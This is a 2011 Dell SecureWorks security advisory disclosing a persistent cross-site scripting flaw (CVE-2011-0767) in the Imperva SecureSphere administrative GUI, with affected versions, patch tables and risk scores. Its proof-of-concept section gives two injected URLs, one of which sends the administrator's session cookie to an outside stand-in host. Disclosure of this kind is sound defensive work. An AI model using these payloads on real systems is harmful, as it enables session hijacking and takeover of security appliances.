Imperva SecureSphere Persistent Cross-Site Scripting Vulnerability

Dell SecureWorks Security Advisory SWRX-2011-001

Advisory Information

Title: Imperva SecureSphere Persistent Cross-Site Scripting Vulnerability
Advisory ID: SWRX-2011-001
Advisory URL: http://www.secureworks.com/research/advisories/SWRX-2011-001/
Date published: Monday, May 23, 2011
CVE: CVE-2011-0767
CVSS v2 Base Score: 4.3 (Low) (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Date of last update: Monday, May 23, 2011
Vendors contacted: Imperva
Release mode: Coordinated
Discovered by: Sean Talbot, Dell SecureWorks

Summary

A vulnerability exists in Imperva SecureSphere due to improper validation of user-controlled input. User-controllable input is not properly sanitized for illegal or malicious content prior to being stored and later returned to an administrator in dynamically generated web content. Remote attackers could leverage this issue to conduct persistent cross-site scripting attacks. When the malicious content is viewed, arbitrary script or HTML code injected into the affected database field will be executed in the SecureSphere administrative user's browser session in the security context of the SecureSphere administrative GUI. Successful exploitation may aid an attacker in retrieving session cookies, stealing recently submitted data, or launching further attacks.

Affected Products

Imperva SecureSphere Web Application Firewall 6.2, 7.0, 7.5, 8.0 and 8.5.
http://www.imperva.com/products/wsc_web-application-firewall.html

Vendor Information, Solutions and Workarounds

The vendor has released patches that address this vulnerability. Imperva's Bug ID for the issue is 31759. Refer to the following table for information on the appropriate patch for a particular version.

SecureSphere Version	Vulnerability fixed by	Release Date
6.2 (6442-6463)	Patch 30	04/17/2011
7.0 (7061-7078)	Patch 22	04/21/2011
7.5 (7564)	Patch 10	03/29/2011
8.0 (8265)	Patch 3	03/30/2011
8.5	Patch 1	04/11/2011

For more information, please refer to Imperva's notification at
http://www.imperva.com/resources/adc/adc_advisories_response_secureworks.html

Details

A persistent cross-site scripting vulnerability is present in the Imperva SecureSphere GUI. User-controllable input supplied to the Imperva event database via traffic destined for protected servers is not properly sanitized for illegal or malicious content prior to being stored and later returned to the user in dynamically generated web content. Remote attackers could leverage this issue to conduct persistent cross-site scripting attacks. When the malicious content is viewed in the administrative GUI, arbitrary script or HTML code injected into the affected field will be executed in an administrator's browser session in the security context of a vulnerable SecureSphere GUI session.

SecureSphere properly detects the cross-site scripting payload destined for the protected server and records an event. The system's event database stores this event but improperly sanitizes the event when it is displayed in the GUI. This condition allows JavaScript events to be attached to the 'toolbarTitle' div on the 'NewAlerts' page. This page is accessed in the SecureSphere GUI by navigating to the 'Alerts' option of the 'Monitor' tab.

Successful exploitation of this vulnerability could lead to full remote administrative access to the vulnerable products. After obtaining administrative access, an attacker may be able to create, modify, or delete user accounts, read stored messages, purge system logs, and access sensitive and confidential information.

Dell SecureWorks Risk Scoring

Likelihood (scale of 1-5, with 5 being high): 4 – Direct access to the vulnerable web interface is not required, increasing the likelihood of exploitation.

Impact (scale of 1-5, with 5 being high): 5 – Successfully exploiting this vulnerability could lead to complete compromise of the vulnerable device, as well as the ability for an attacker to modify the protections afforded to other devices.

CVSS Severity (version 2.0)

Access Vector: Network exploitable; Victim must voluntarily interact with attack mechanism

Access Complexity: Medium
Authentication: Not required to exploit
Impact Type: Allows unauthorized modification
Confidentiality Impact: None
Integrity Impact: Partial
Availability Impact: None
Impact Subscore: 2.9
Exploitability Subscore: 8.6
CVSS v2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)

Proof of Concept

Sending the following two URLs to any protected web server will generate events that reproduce the issue.

On mouseover of the resulting event title in the SecureSphere GUI, an alert box displaying the session authentication cookie will be displayed:

```
http://<protectedsite>/anyprotectedpage/"onmouseover="alert(document.cookie)"
```

On mouseover of the resulting event title in the SecureSphere GUI, the administrator *and the session cookie* are redirected to a third party site:

```
http://<protectedsite>/anyprotectedpage/"onmouseover="document.location=%27http
://www.example.com/%3Fc=%27+document.cookie"
```

Revision History

1.0 2011-05-23 – Initial advisory release

PGP Keys

This advisory has been signed with the Dell SecureWorks Counter Threat Unit℠ PGP key, which is available for download at http://www.secureworks.com/SecureWorksCTU.asc.

About the Dell SecureWorks Counter Threat Unit℠ Research Team

Our expert team of threat researchers, also known as the Dell SecureWorks Counter Threat Unit℠ research team, identifies and analyzes emerging threats and develops countermeasures, correlations and SOC processes to protect clients' critical information assets. CTU researchers frequently serve as expert resources for the media, publish technical analyses for the security community and speak about emerging threats at security conferences. Leveraging our security technologies and a network of industry contacts, the CTU research team tracks leading hackers and analyzes anomalous activity, uncovering new attack techniques and threats. This process

enables CTU researchers to identify threats as they emerge and develop countermeasures that protect our clients before damage occurs.

About Dell SecureWorks

Dell focuses exclusively on security services to protect more than 2,900 clients around the world. Dell Inc. (NASDAQ: DELL) listens to customers and delivers worldwide innovative technology and business solutions they trust and value. Recognized as an industry leader by top analysts, Dell SecureWorks provides world-class information security services to help organizations of all sizes protect their IT assets, comply with regulations and reduce security costs.

Disclaimer